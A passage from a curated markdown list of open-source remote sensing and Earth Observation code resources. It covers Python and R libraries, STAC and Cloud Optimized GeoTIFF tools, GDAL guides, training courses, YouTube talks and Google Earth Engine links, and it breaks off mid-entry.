[Python-Remote-Sensing-Scripts](https://github.com/JavierLopatin/Python-Remote-Sensing-Scripts) - `Python` 3. X scripts for remote sensing processing - [fc-up42](https://github.com/petescarth/fc-up42) - UP42 Block for Fractional Cover calculation from Sentinel 2 L2A Data `Python` - [Opensource_OBIA_processing_chain](https://github.com/tgrippa/Opensource_OBIA_processing_chain) - An open-source semi-automated processing chain for urban OBIA classification. - [nansat](https://github.com/nansencenter/nansat) - Scientist friendly Python toolbox for processing 2D satellite Earth observation data. `Python`[docs](https://nansat.readthedocs.io/en/latest/index.html) - [nansat-lite](https://gitlab.com/jobel-open-source/nansat-lite) - nansat-lite is not a full nansat build for `Python` 3.5. Only bits of code from main classes, to start with. Eventually, if need it, more code will be added. - [IEO](https://github.com/DrGuy/ieo) - Irish Earth Observation (IEO) remote sensing data processing Python module `Python` - [IEOtools](https://github.com/DrGuy/IEOtools) - Tools for managing Earth observation data. Currently only supports Landsat imagery `Python` - [pykic](https://github.com/EkicierNico/pykic) - 'Python' module for remote sensing and GIS domain (image/signal, vector, miscellaneous processing) - [ukis-csmask](https://github.com/dlr-eoc/ukis-csmask) - masks clouds and cloud shadows in Sentinel-2, Landsat-8, Landsat-7 and Landsat-5 images `Python` - [jeolib-pyjeo](https://github.com/ec-jrc/jeolib-pyjeo) - pyjeo is a library for image processing for geospatial data implemented in JRC Ispra. `Python` - [pyrgis](https://github.com/PratyushTripathy/pyrsgis) - This repository cointains the source code of the 'pyrsgis' `Python` package. - [EOReader](https://github.com/sertit/eoreader) - Opensource `Python` library reading optical and SAR sensors, loading and stacking bands in a sensor-agnostic way. - [LandSurfaceClustering](https://github.com/lhalloran/LandSurfaceClustering) - Land surface classification using remote sensing data with unsupervised machine learning (k-means) `Python` ### Cloud Native Geospatial - [aws-sat-api-py](https://github.com/RemotePixel/remotepixel-api) - Process Satellite data using AWS Lambda functions - [GeoLambda](https://github.com/developmentseed/geolambda) - Create and deploy Geospatial AWS Lambda functions `Python` - [rio-viz](https://github.com/developmentseed/rio-viz) - Visualize Cloud Optimized GeoTIFF in browser `html` `Python` - [Sentinel-s3](https://github.com/developmentseed/sentinel-s3) - `Python` libraries for extracting Sentinel-2's metadata from Amazon S3 #### STAC - [stac-utils](https://github.com/stac-utils) - Tools for working with SpatioTemporal Asset Catalogs (STAC) (perhaps worth going here first for STAC) `Python` `Javascript` - [pystac](https://github.com/stac-utils/pystac) - `Python` library for working with any SpatioTemporal Asset Catalog (STAC) - [stactools](https://github.com/stac-utils/stactools) - Command line utility and `Python` library for STAC - [pystac-client](https://github.com/stac-utils/pystac-client) - `Python` client for STAC Catalogs and APIs - [pgstac](https://github.com/stac-utils/pgstac) - Schema, functions and a `Python` library for storing and accessing STAC collections and items in `PostgreSQL` - [stac-fastapi](https://github.com/stac-utils/stac-fastapi) - STAC API implementation with FastAPI. `Python` - [STAC Spec](https://github.com/radiantearth/stac-spec) - SpatioTemporal Asset Catalog specification - making geospatial assets openly searchable and crawlable - [stac-validator](https://github.com/sparkgeo/stac-validator) - Validator for the stac-spec `Python` - [stackstac](https://github.com/gjoseph92/stackstac) - Turn a list of STAC items into a 4D xarray DataArray `Python` - [stac-nb](https://github.com/darrenwiens/stac-nb) - STAC in Jupyter Notebooks `Python` - [qgis-stac-plugin](https://github.com/stac-utils/qgis-stac-plugin) - QGIS plugin for reading STAC APIs `Python` - [easystac](https://github.com/cloudsen12/easystac) - A `Python` package for simple STAC queries #### COG - [COG Validator](https://github.com/rouault/cog_validator) - Cloud Optimized GeoTIFF validation service - [titiler](https://github.com/developmentseed/titiler) - A modern dynamic tile server built on top of `FastAPI` and `Rasterio/GDAL`. - [cogeo-mosaic](https://github.com/developmentseed/cogeo-mosaic) - Create and use COG mosaic based on mosaicJSON `Python` - [Sentinel-2-cog](https://github.com/developmentseed/sentinel-2-cog) - Convert Sentinel-2 JPEG 2000 to COG with AWS Lambda `Python` - [COG Dumper](https://github.com/mapbox/COGDumper) - Dumps tiles out of a cloud optimized geotiff `Python` - [async-cog-reader](https://github.com/geospatial-jeff/async-cog-reader) - Read Cloud Optimized GeoTiffs without GDAL`Python` - [aiocogeo](https://github.com/geospatial-jeff/aiocogeo) - Asynchronous cogeotiff reader `Python` - [cogeotiff](https://github.com/blacha/cogeotiff) - High performance cloud optimised geotiff reader - [ecw-converter](https://github.com/lifebit-ai/ecw-converter) - Dockerised `Python` scripts & Nextflow pipeline for converting ecw files to either geotiffs or Cloud Optimised Geotiffs (COGs) - [COG pptx/pdf](https://github.com/saheelBreezo/Cloud-Optimised-Geotiff/blob/master/Talk/Cloud_Optimized_GeoTIFF_Blue_Sky_Analytics.pdf) - talk on COG ### Case studies / Projects - [Povetry predition using satellite imagery](https://github.com/carsonluuu/Poverty-Prediction-by-Satellite-Imagery) - Poverty Prediction by Combination of Satellite Imagery - [Python from space](https://github.com/kscottz/PythonFromSpace) - `Python` Examples for Remote Sensing - [count blue pixels](https://github.com/craic/count_shelters) - This project is an experiment in using simple image processing techniques on satellite images downloaded from Google Maps in order to quantify the relative density of temporary shelters in adjacent qudarants. `Python` `Ruby` - [Satellite imagery analysis with Python](https://github.com/parulnith/Satellite-Imagery-Analysis-with-Python) - Getting acquainted with the concept of satellite imagery data and how it can be analyzed to investigate real-world environmental and humanitarian challenges. `Python` `Jupyter Notebooks` [associated blog](https://medium.com/analytics-vidhya/satellite-imagery-analysis-with-python-3f8ccf8a7c32) - [Satellite imagery in Pakistan](https://github.com/iam-mhaseeb/Satellite-Imagery-Analysis-of-Vegetation-in-Southern-Pakistan) - This repository contains a study how we can examine the vegetation cover of a region with the help of satellite data. The notebook in this repository aims to familiarise with the concept of satellite imagery data and how it can be analyzed to investigate real-world environmental and humanitarian challenges. - [SentinelBot](https://github.com/JamesOConnor/Sentinel_bot) - A twitter bot which processes raw sentinel data `Python` [SentinelBot on twitter](https://twitter.com/sentinel_bot) - [ap-latem](https://github.com/dymaxionlabs/ap-latam) - Detection of slums and informal settlements from satellite imagery `Python` - [local_structire_wpb-severity](https://github.com/mikoontz/local-structure-wpb-severity) - Analysis of drone imagery to characterize forest structure and severity of a tree killing insect `Python` - [Truck_Detection_Sentinel2_COVID19](https://github.com/hfisser/Truck_Detection_Sentinel2_COVID19) - This repository is designated to detecting trucks using Sentinel-2 data. `Python` - [Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (multi parts)](https://towardsdatascience.com/artificial-intelligence-for-geospatial-analysis-with-pytorchs-torchgeo-part-1-52d17e409f09) - An end-to-end deep learning geospatial segmentation project using Pytorch and TorchGeo packages - [code](https://gist.github.com/cordmaur/d050973aa3ed980023e9239183a2cb66#file-earthsurfacewater_medium_2-ipynb) ### Company specific examples (you may need to create an account to use these resources) - [Planet notebooks](https://github.com/planetlabs/notebooks) - interactive notebooks from Planet Engineering `Python` - [Planet-client-API](https://github.com/planetlabs/planet-client-python) - `Python` client for Planet APIs - [Maxar GDBx tools](https://github.com/DigitalGlobe/gbdxtools) - Python SDK for using GBDX. - [gdbx-surface-water](https://github.com/gena/gbdx-surface-water) - Reservoir surface area detection with Digital Globe imagery and Bayesian methods - [SentinelHub-py](https://github.com/sentinel-hub/sentinelhub-py) - Download and process satellite imagery in Python using Sentinel Hub services. - [sentinel2-cloud-detector](https://github.com/sentinel-hub/sentinel2-cloud-detector) - Sentinel Hub Cloud Detector for Sentinel-2 images in `Python` - [Orbit predictor](https://github.com/satellogic/orbit-predictor) - Python library to propagate satellite orbits. - [up42-py](https://github.com/up42/up42-py) - Python SDK for UP42, the geospatial marketplace and developer platform. `Python` - [S2-superresolution](https://github.com/up42/s2-superresolution) - Deep Learning-based algorithm to upsample all Sentinel-2 bands to 10m. Also an example how to use GPUs on UP42. `Python` - [icecube](https://github.com/iceye-ltd/icecube) - Create time-series datacubes for supervised machine learning with ICEYE SAR images. `Python` ### Reflectance / pre processing - [Landsat7 errors](https://github.com/gena/landsat7-errors) - Identifies errors in raw values of Landsat 7 - [PyProSail](https://github.com/robintw/PyProSAIL) - Python interface to the ProSAIL leaf/canopy reflectance model - [Py6S](https://github.com/robintw/Py6S) - A `Python`interface to the 6S Radiative Transfer Model - [prosail](https://github.com/jgomezdans/prosail) - `Python` bindings for the PROSAIL canopy reflectance model - [ACOLITE_MR](https://github.com/acolite/acolite_mr) - ACOLITE_MR: Atmospheric correction for aquatic applications of metre-scale satellites - [radiometric_normalization](https://github.com/planetlabs/radiometric_normalization) - Implementation of radiometric normalization workflows `Python` - [color_balance](https://github.com/planetlabs/color_balance) - Balance your colors! `Python` - [data-retrieval-in-EO](https://gitlab.com/raul.lezameta/data-retrieval-in-EO/-/tree/master) - data-retrieval-in-EO, a project with reports from TU wien ### Python libraries related to EO - [rasterio](https://github.com/mapbox/rasterio) - Rasterio reads and writes geospatial raster datasets - [Xarray pyconuk 2018](https://github.com/robintw/XArray_PyConUK2018) - Code and slides for my talk at PyCon UK 2018 on XArray `Python` - [RasterStats](https://github.com/perrygeo/python-rasterstats) - Summary statistics of geospatial raster datasets based on vector geometries. `Python` - [SatPy](https://github.com/pytroll/satpy) - `Python` package for earth-observing satellite data processing - [pyimpute](https://github.com/perrygeo/pyimpute) - Spatial classification and regression using Scikit-learn and Rasterio `Python` - [dask-rasterio](https://github.com/dymaxionlabs/dask-rasterio) - Read and write rasters in parallel using Rasterio and Dask `Python` - [rioxarray](https://github.com/corteva/rioxarray) - geospatial xarray extension powered by rasterio [docs](https://corteva.github.io/rioxarray/stable/) - [xarray-spatial](https://github.com/makepath/xarray-spatial) - Raster-based Spatial Analysis for `Python` - [actinia core](https://github.com/mundialis/actinia_core) - Actinia Core is an open source REST API for scalable, distributed, high performance processing of geographical data that uses mainly GRASS GIS for computational tasks. `Python` - [actinia satellite plugin](https://github.com/mundialis/actinia_satellite_plugin) - This actinia plugin is designed for efficient satellite data handling, especially Landsat and Sentinel-2 scenes `Python` - [Whitebox Python](https://github.com/giswqs/whitebox-python) - WhiteboxTools `Python` Frontend - [ukis-pysat](https://github.com/dlr-eoc/ukis-pysat) - generic classes and functions to query, access and process multi-spectral and SAR satellite images ### Testing your code - [image-similarity-measures](https://pypi.org/project/image-similarity-measures/) - Implementation of eight evaluation metrics to access the similarity between two images. `Python` - [fake-geo-images](https://pypi.org/project/fake-geo-images/) - A module to programmatically create geotiff images which can be used for unit tests. `Python` ## Resources for `R` R is not my area of expertise so this section is lighter than I'd like, plus I'd love to know what is a useful resource Books! [Geospatial R Books](https://www.bigbookofr.com/geospatial.html) - some `R` books on geospatial - [R-Spatial](https://rspatial.org/raster/rs/1-introduction.html) - This book provides a short introduction to satellite data analysis with R. - [Remote Sensing analysis with R](https://rspatial.org/raster/rs/index.html) - Builds on above R-Spatial - [GDAL Cubes](https://cran.r-project.org/web/packages/gdalcubes/index.html) - Earth Observation Data Cubes from Satellite Image Collections. Also [here on github](https://github.com/appelmar/gdalcubes_R) - [R code for ML in Sat imagery](https://gist.github.com/franzalex/a95e227cab9b146a6092) - # Random Forest image classification Adapted from [stackoverflow](http://gis.stackexchange.com/a/57786/12899). - [whiteboxR](https://github.com/giswqs/whiteboxR) - An R frontend of the advanced geospatial data analysis platform - [whitebox-tools](https://github.com/jblindsay/whitebox-tools). - [RasterVIS](https://cran.r-project.org/web/packages/rasterVis/index.html) - Methods for enhanced visualization and interaction with raster data. It implements visualization methods for quantitative data and categorical data, both for univariate and multivariate rasters. It also provides methods to display spatiotemporal rasters, and vector fields. - [Landsat](https://cran.r-project.org/web/packages/landsat/index.html) - Processing of Landsat or other multispectral satellite imagery. Includes relative normalization, image-based radiometric correction, and topographic correction options. - [rnoaa](https://github.com/ropensci/rnoaa) - R interface to many NOAA data APIs - [MODISTools](https://github.com/ropensci/MODISTools) - Interface to the MODIS Land Products Subsets Web Services [Docs](https://docs.ropensci.org/MODISTools/) - [A Step-by-Step Guide to Making 3D Maps with Satellite Imagery in R](https://www.tylermw.com/a-step-by-step-guide-to-making-3d-maps-with-satellite-imagery-in-r/) - Walk you through [on] how to obtain the data required to make these types of maps, as well as the R code used to generate them - [landsatlinkr](https://github.com/jdbcode/LandsatLinkr) - An automated system for creating spectrally consistent and cloud-free Landsat image time series stacks from a combination of MSS, TM, ETM+, and OLI sensors [project](http://jdbcode.github.io/LandsatLinkr/) - [planetR](https://github.com/bevingtona/planetR) - (early development) R tools to search, activate and download satellite imagery from the Planet API - [ForestTools](https://github.com/andrew-plowright/ForestTools) - Detect and segment individual tree from remotely sensed data - [lidR](https://github.com/Jean-Romain/lidR) - `R` package for airborne LiDAR data manipulation and visualisation for forestry application. Plus [lidRplugins](https://github.com/Jean-Romain/lidRplugins) - Extra functions and algorithms for lidR package - [Spatiotemporal Arrays: Raster and Vector Datacubes](https://github.com/r-spatial/stars) - Spatiotemporal Arrays, Raster and Vector Data Cube - [getSpatialData](https://github.com/16EAGLE/getSpatialData) - An `R` package making it easy to query, preview, download and preprocess multiple kinds of spatial data [docs](https://jakob.schwalb-willmann.de/getSpatialData/) - [RStoolbox](https://bleutner.github.io/RStoolbox/) - RStoolbox is a R package providing a wide range of tools for your every-day remote sensing processing needs. - [rHarmonics](https://github.com/MBalthasar/rHarmonics) - `R` package for harmonic modelling of time-series data - [rerddap](https://github.com/ropensci/rerddap) - `R` client for working with ERDDAP servers [docs](https://docs.ropensci.org/rerddap/) reference the [ERDDAP Server](https://upwell.pfeg.noaa.gov/erddap/index.html) - [Spatial_Data_in_R](https://github.com/joheisig/Spatial_Data_in_R) - SWIRL-course on spatial data in `R` - [cognition-datasources](https://github.com/geospatial-jeff/cognition-datasources) - Standardized query interface for searching geospatial assets via STAC. - [caliver](https://github.com/ecmwf/caliver) - caliver: CALIbration and VERification of gridded fire danger models `R` - [clip_time_series](https://github.com/lecrabe/clip_time_series) - create snippets of Landsat and Sentinel imagery - [RGISTools](https://github.com/spatialstatisticsupna/RGISTools) - Tools for Downloading, Customizing, and Processing Time Series of Satellite Images from Landsat, MODIS, and Sentinel - [Grassland-Species-Classification](https://github.com/JavierLopatin/Grassland-Species-Classification) - Codes for: Javier Lopatin, Fabian E. Fassnacht, Teja Kattenborn, Sebastian Schmidtlein. Mapping plant species in mixed grassland communities using close range imaging spectroscopy. Remote Sensing of Environment 201, 12-23. `R` - [UAV-InvasiveSpp](https://github.com/JavierLopatin/UAV-InvasiveSpp) - Mapping invasive tree species in Chile using UAV `R` - [Peatland-carbon-stock](https://github.com/JavierLopatin/Peatland-carbon-stock) - Codes for: Lopatin, J., et al. (2019). Using aboveground vegetation attributes as proxies for mapping peatland belowground carbon stocks. Remote Sens. Environ. 231, 111217 `R` - [SpeciesRichness-GLMvsRF-LiDAR](https://github.com/JavierLopatin/SpeciesRichness-GLMvsRF-LiDAR) - `R`-codes for: Lopatin, J., Dolos, K., Hernández, J., Galleguillos, M., Fassnacht, F. E. (2016): Comparing Generalized Linear Models and random forest to model vascular plant species richness using LiDAR data in a natural forest in central Chile. Remote Sensing of Environment 173, pp. 200–210. 10.1016/j.rse.2015.11.029 - [tree_segmentation](https://github.com/redfoxgis/tree_segmentation) - LiDAR tree segmentation `R` - [swdt](https://github.com/be-marc/swdt) - Sentinel-1 Water Dynamics Toolkit `R` - [What_are_data_cubes](https://edzer.github.io/UseR2020/#What_are_data_cubes) - Analyzing and visualising spatial and spatiotemporal data cubes - Part I - [classifying_satellite_imagery_in_R](https://urbanspatial.github.io/classifying_satellite_imagery_in_R/) - For this tutorial, we use Landsat 8 imagery from Calgary - [planetR](https://github.com/bevingtona/planetR) - `R` tools to search, activate and download satellite imagery from the Planet API. - [Landsat_land_surface_temperature](https://github.com/alyssakullberg/Landsat_land_surface_temperature) - `R` Estimate land surface temperature using Landsat satellite imagery. ## Languages other than `Python` and `R` - [Georust](https://github.com/georust) - A collection of geospatial tools and libraries written in `Rust` - [ArchGDAL - Julia](https://github.com/yeesian/ArchGDAL.jl) - `Julia` A high level API for GDAL - Geospatial Data Abstract - [ArchGDAL docs](http://yeesian.com/ArchGDAL.jl/latest/) - [Julia_Geospatial](https://github.com/acgeospatial/Julia_Geospatial) - Examples for a blog series on Geospatial `Julia` using ArchGDAL - [GeoTrellis homepage](https://geotrellis.io/) - GeoTrellis is a geographic data processing engine for high performance applications. `Scala` - [GeoTrellis on Github - Scala](https://github.com/locationtech/geotrellis) - [GDAL with GoLang](https://github.com/lukeroth/gdal) - `Go` (golang) wrapper for GDAL, the Geospatial Data Abstraction Library - [C++ gdalcubes](https://github.com/appelmar/gdalcubes) - Earth observation data cubes from GDAL image collections `C++` - [RSGLib](https://github.com/remotesensinginfo/rsgislib) - The remote sensing and GIS software library (RSGISLib) is a set of `C++` libraries and commands for the processing of spatial data (raster and vector). Functionality is via `Python` interface though - [Perl extension for GDAL](https://metacpan.org/pod/Geo::GDAL) - Geo:: GDAL - `Perl` extension for the GDAL library for geospatial data - [PDAL](https://github.com/PDAL/PDAL) - PDAL is Point Data Abstraction Library. GDAL for point cloud data. - [force](https://github.com/davidfrantz/force) - Framework for Operational Radiometric Correction for Environmental monitoring in `c` - [LLR-landTrendr](https://github.com/jdbcode/LLR-LandTrendr) - Landsat-based Detection of Trends in Disturbance and Recovery algorimth modified to accept LandsatLinkr-processed imagery. `IDL` - [Global Forest Watch](https://github.com/Vizzuality/gfw) - Global Forest Watch: An online, global, near-real time forest monitoring tool - [conda recipes](https://github.com/yannforget/conda-recipes) - Conda recipes for remote sensing `Shell` - [Landsat-solar-elevation](https://github.com/jdbcode/landsat-solar-elevation) - A web app that plots annual solar elevation at the time of Landsat overpass for locations throughout the earth `JavaScript` - [staccato](https://github.com/planetlabs/staccato) - `Java` implementation of the STAC spec - [stac4s](https://github.com/azavea/stac4s) -a `scala` library with primitives to build applications using the SpatioTemporal Asset Catalogs specification - [stac-browser](https://github.com/radiantearth/stac-browser) - A Vue-based STAC browser intended for static + dynamic deployment - [EO Browser Custom Scripts](https://github.com/sentinel-hub/custom-scripts) - A repository of custom scripts to be used with Sentinel Hub `JavaScript` - [sentinelhub-js](https://github.com/sentinel-hub/sentinelhub-js) - Download and process satellite imagery in `JavaScript` or `TypeScript` using Sentinel Hub services. - [s3tbx](https://github.com/senbox-org/s3tbx) - A toolbox for the OLCI and SLSTR instruments on board of ESA's Sentinel-3 satellite - `Java` - [s2tbx](https://github.com/senbox-org/s2tbx) - Sentinel 2 Toolbox (s2tbx) - `Java` - [s1tbx](https://github.com/senbox-org/s1tbx) - The Sentinel-1 Toolbox - `Java` - [snap_engine](https://github.com/senbox-org/snap-engine) - ESA Earth Observation Toolbox and `Java` Development Platform - [Worldview](https://github.com/nasa-gibs/worldview) - Interactive interface for browsing global, full-resolution satellite imagery `Javascript` application [here](https://worldview.earthdata.nasa.gov/) - [Orfeo ToolBox](https://gitlab.orfeo-toolbox.org/orfeotoolbox/otb) (OTB)- An open-source project for state-of-the-art remote sensing, including a fast image viewer, apps callable from `Bash`, `Python` or QGIS, and a powerful `C++` API. - [landsat_preprocess](https://github.com/ceholden/landsat_preprocess) - IPython notebook documenting a workflow for preprocessing Landsat data `Shell` - [stac-mode-validator](https://github.com/m-mohr/stac-node-validator) - Simple proof-of-concept to validate STAC Items, Catalogs, Collections and core extensions with node. `JavaScript` - [aiforearth-landcover-app](https://github.com/vannizhang/aiforearth-landcover-app) - web mapping app to test, tweak and train the land cover classification from a deep neural network model - [tiffhax](https://github.com/emilyselwood/tiffhax) - tiff metadata hex viewer `Go` - [Fmask](https://github.com/GERSL/Fmask) - The software called Fmask (Function of mask) is used for automated clouds, cloud shadows, and snow masking for Landsats 4-8 and Sentinel 2 images. `Matlab` - [resto](https://github.com/jjrom/resto) - A metadata catalog and search engine for geospatialized data `PHP` Stac! - [pktools](http://pktools.nongnu.org/html/index.html) - pktools is a suite of utilities written in `C++` for image processing with a focus on remote sensing applications. It relies on the Geospatial Data Abstraction Library ([GDAL](http://www.gdal.org)) and OGR. ## Training and learning - [Earth Data Lab](https://github.com/earthlab/earthlab.github.io) - A site dedicated to tutorials, course and other learning materials and resources developed by the Earth Lab team - [EO College Github](https://github.com/EO-College) - [tomography_tutorial](https://github.com/EO-College/tomography_tutorial) - A tutorial for Synthetic Aperture Radar Tomography - [profLewis-geog0111](https://github.com/profLewis/geog0111) - UCL Geography: 4th year course, Scientific Computing - [Intro to Geospatial Vector and Raster](https://carpentries-incubator.github.io/geospatial-python/) - Data Carpentry’s aim is to teach researchers basic concepts, skills, and tools for working with data so that they can get more done in less time, and with less pain. - [Andrew Cutts Github](https://github.com/acgeospatial) - I am an Earth Observation and Geospatial enthusiast, primarily using `Python` to automate and process images at scale using computer vision - [Satellite Imagery Python](https://github.com/acgeospatial/Satellite_Imagery_Python) - Sample sample scripts and notebooks on processing satellite imagery - [Geospatial Python Programming Course](https://github.com/acgeospatial/Geospatial_Python_CourseV1) - This is an collection of blog posts turned into a course format - [Open Geo Tutorial V2](https://github.com/patrickcgray/open-geo-tutorial) - Tutorial of fundamental remote sensing and GIS methodologies using open source software in `Python` - [Open Geo Tutorial V1](https://github.com/ceholden/open-geo-tutorial) - Tutorial of basic remote sensing and GIS methodologies using open source software (GDAL in `Python` or `R`) - [Foss4gUKJupyter](https://github.com/samfranklin/foss4guk19-jupyter) - FOSS4G UK 2019 Workshop "Geoprocessing with Jupyter Notebooks" - [Geoprocessing with Python - GIS circa 2009](https://www.gis.usu.edu/~chrisg/python/2009/) - This material is really old and some of it is outdated (not all, though!). One of these days I might get around to putting newer class materials online, but you're stuck with this for now. - [training-workshop](https://github.com/planetlabs/training-workshop) - This repo contains all materials used on Planet's training workshop for Bahrain Defense Force - [sentinel](https://github.com/techforspace/sentinel) - Repository created for the Earth Observation Sentinel project (use with SNAP) `Python` - [Python for Geospatial Analysis](https://www.tomasbeuzen.com/python-for-geospatial-analysis/README.html) - A crashcourse introduction to using Python to wrangle, plot, and model geospatial data `Python` - [pyGIS](https://github.com/mmann1123/pyGIS) - pyGIS is an online textbook covering all the core geospatial functionality available in `Python`. This includes handling vector and raster data, satellite remote sensing, machine learning and deep learning applications ## Deep learning and Machine Learning - [future learn course - artificial intelligence for earth monitoring](https://www.futurelearn.com/courses/artificial-intelligence-for-earth-monitoring) #### Curated lists [Robin Cole on satellite imagery and deep learning resources](https://github.com/robmarkcole/satellite-image-deep-learning) - Resources for deep learning with satellite & aerial imagery. <b>This is the best place to go for this topic</b> I've removed 95% of the associated links from awesome-eo-code as it is just a repetition. - [awesome-satellite-imagery-datasets](https://github.com/chrieke/awesome-satellite-imagery-datasets) - List of satellite image training datasets with annotations for computer vision and deep learning. `ARCHIVED REPO` - [Deep Vector](https://github.com/deepVector/geospatial-machine-learning) - A curated list of resources focused on Machine Learning in Geospatial Data Science. #### Labelling - [satellite-imagery-labeling-tool](https://github.com/microsoft/satellite-imagery-labeling-tool) - This is a lightweight web-interface for creating and sharing vector annotations over satellite/aerial imagery scenes. ## GDAL of course - [GDAL Cheat Sheet](https://github.com/dwtkns/gdal-cheat-sheet) - Cheat sheet for GDAL/OGR command-line tools - [GDAL / OGR cookbook](https://pcjericks.github.io/py-gdalogr-cookbook/) - This cookbook has simple code snippets on how to use the Python GDAL/OGR API - [GDAL tutorial](https://jakobmiksch.eu/post/gdal_ogr/) - This blogpost gives in an introduction to GDAL/OGR and explains how the various command line tools can be used. - [docker-base-gdal](https://github.com/perrygeo/docker-gdal-base) - A base docker image for geospatial applications - [An Introduction to GDAL](https://www.youtube.com/watch?v=N_dmiQI1s24) - An Introduction to GDAL - Robert Simmon - [A Gentle Introduction to GDAL prt 1](https://medium.com/planet-stories/a-gentle-introduction-to-gdal-part-1-a3253eb96082) - command line working - [A Gentel Introduction to GDAL prt 2](https://medium.com/planet-stories/a-gentle-introduction-to-gdal-part-2-map-projections-gdalwarp-e05173bd710a) - Map Projections - [A Gentel Introduction to GDAL prt 3](https://medium.com/planet-stories/a-gentle-introduction-to-gdal-part-3-geodesy-local-map-projections-794c6ff675ca) - Geodesy - [loam](https://github.com/azavea/loam) - `Javascript` wrapper for GDAL in the browser - [mrf](https://github.com/nasa-gibs/mrf) - GDAL-compatible file format driver designed for fast access to imagery ## Earth Observation coding on YouTube (presenters listed where possible)<br> There are many videos relating to Earth Observation and coding, especially Python. This is really such a small collection of videos here. I have attempted to only include ones with good audio and code examples. - [xArray at PyConUK2018 - Robin Wilson](https://www.youtube.com/watch?v=Dgr_d8iEWk4) - Processing thousands of satellite images to understand air quality in the UK - it's efficient and easy with XArray - [Visualizing & Analyzing Earth Science Data Using PyViz & PyData - Julia Signell](https://youtu.be/-XMXNmGRk5c?t=455) - In this talk, we'll work through some specific workflows and explore how various tools - such as Intake, Dask, Xarray, and Datashader - can be used to effectively analyze and visualize these data. Working from within the notebook, we'll iteratively build a product that is interactive, scalable, and deployable. - [Hands on Satellite Imagery 2019 edition - Sara Safavi](https://www.youtube.com/watch?v=j15MryznWn4) - In this tutorial, gain hands-on experience exploring Planet’s publicly-available satellite imagery and using Python tools for geospatial and time-series analysis of medium- and high-resolution imagery data. Using free & open source libraries, learn how to perform foundational imagery analysis techniques and apply these techniques to real satellite data. - [Python from space - Katherine Scott](https://www.youtube.com/watch?v=rUUgLsspTZA&t) - In this talk we will work through a jupyter notebook that covers the satellite data ecosystem and the python tools that can be used to sift through and analyze that data. Topics include python tools for using Open Street Maps data, the Geospatial Data Abstraction Library (GDAL), and OpenCV and NumPy for image processing. - [Remote Sening with Python in Jupyter](https://www.youtube.com/watch?v=OsgZSlv4t-U) - In this video we're looking at using Google Earth Engine in Jupyter with the Python API. - [Writing Image Processing Algorithms with ArcGIS/ArcPy - Jamie Drisdelle](https://www.youtube.com/watch?v=FenT61l-xyQ) - learn how your algorithms can integrate with the raster processing and visualization pipelines in ArcGIS. We’ll demonstrate the concept and discuss the API by diving deep into a few interesting examples with a special focus on multidimensional scientific rasters. - [Google Earth Engine Python - Qiusheng Wu](https://www.youtube.com/playlist?list=PLAxJ4-o7ZoPccOFv1dCwvGI6TYnirRTg3) - Introducing the geemap Python package for interactive mapping with Google Earth Engine and ipyleaflet. - [Google Earth Engine EE101 Condensed - Noel Gorelick](https://www.youtube.com/watch?v=m1ejxSi3l8s) - Introduction to the Earth Engine API and a conceptual overview of key functionality such as compositing, reducing, mapping, zonal statistics and cluminating with building a small app. - [Image classification with RandomForests using the R language](https://www.youtube.com/watch?v=fal4Jj81uMA)In this video I show how to import a Landsat image into R and how to extract pixel data to train and fit a RandomForests model. I also explain how to conduct image classification and how to speed it up through parallel processing. - [GeoPython 2019 stream](https://www.youtube.com/watch?v=3KRYObqpMlk) - 17:23 Machine Learning for Land Use/Landcover Statistics of Switzerland (Adrian Meyer), 50:58 How to structure geodata, 1:18:13 Terrain segmentation with label bootstrapping for lidar datasets, case of doline detection (Rok Mihevc), 2:34:41 Bias in machine learning, 3:06:23 Software for planning research aircraft missions (Reimar Bauer), 3:32:38 How Technology Moves Fast (PJ Hagerty) , 5:02:05 Spotting Sharks with the TensorFlow Object Detection API (Andrew Carter), 5:40:23 Center for Open Source Data and AI Technologies (CODAIT), 6:03:40 Bayesian modeling with spatial data using PyMC3 (Shreya Khurana) (Sound at 6:04:23 ^^), 7:02:45 Understanding and Implementing Generative Adversarial Networks(GANs) (Anmol Krishan Sachdeva), 7:37:00 Messaging with Satellites from Anywhere on the Planet (Andrew Carter), 8:04:52 Automation of the definition and optimizatino of census sampling areas using AREA (GRID3) (Freja Hunt), 8:35:26 Coastline Mapping with Python, Satellite Imagery and Computer Vision (Rachel Keay) - [Google Earth Engine in QGIS](https://www.youtube.com/playlist?list=PL8jLygUmAosykCyE-5Pr6zpcB_UqnbFiZ) - This playlist looks at the GEE plugin for QGIS - [Handling and analysing vector and raster data cubes with R](https://www.youtube.com/watch?v=9by7zsGms40) - Edzer Pebesma (Institute for Geoinformatics, University of Münster) Summary: vector and raster data cubes include vector and raster data as special cases, but extend this to vector time series, OD matrices, multi-band raster data, multi-band raster time series, multi-attribute vector or raster time series, and more general to array data where one ore more dimensions are associated with space and/or with time. Examples come from pretty much all areas dealing with spatiotemporal data. This tutorial will go through a large number of examples to illustrate this idea, mostly focusing on the packages stars and sf and those supporting their classes (like tmap, mapview, gstat, ggplot2). - [QiushengWu's youtube](https://www.youtube.com/c/QiushengWu) - This youtube channel has pretty much everything you need Earth Engine, git, colab, Python, Geoscience. Highest quality stuff. - [The OpenDataCube Conference 2021](https://www.youtube.com/playlist?list=PLlZzWSPAR5GbGTRR68XDKPonOL8dOyYB5) - Playlist from the 2021 conference - [Dask and Geopandas](https://www.youtube.com/watch?v=ZpA9jgSqAkk) - Scalable geospatial data analysis with Dask| Dask Summit 2021 ## Earth Engine `JavaScript` & `Python` & `R` Best to start here [Awesome_GEE](https://github.com/giswqs/Awesome-GEE) - A curated list of Google Earth Engine resources. - [Earth Engine API](https://github.com/google/earthengine-api) - `Python` and `JavaScript` bindings for calling the Earth Engine API. - [from GEE to Numpy to Geotiff](https://mygeoblog.com/2017/10/06/from-gee-to-numpy-to-geotiff/) - Use the GEE python api to export your data to numpy and store the result as a geotiff. - [Google Earth Engine Community](https://github.com/gee-community) - This organization contains content contributed by the Earth Engine developer community. This is not an officially supported Google product. - [Geo4Good 2019 workshop materials](https://sites.google.com/earthoutreach.org/geoforgood19/agenda/breakout-sessions) - 2019 material javascript and Python to be found here - [2018 GEE summit - Dublin materials](https://sites.google.com/earthoutreach.org/eeus2018/agenda/session-descriptions) - 2018 material javascript and Python to be found here - [10 tips for becoming an Earth Engine expert](https://medium.com/google-earth/10-tips-for-becoming-an-earth-engine-expert-b11aad9e598b) - Keiko Nomura shares her 10 favourite tips - [Earth Engine Developer list](https://groups.google.com/forum/#!forum/google-earth-engine-developers) - registration required - [Earth Engine Beginner's 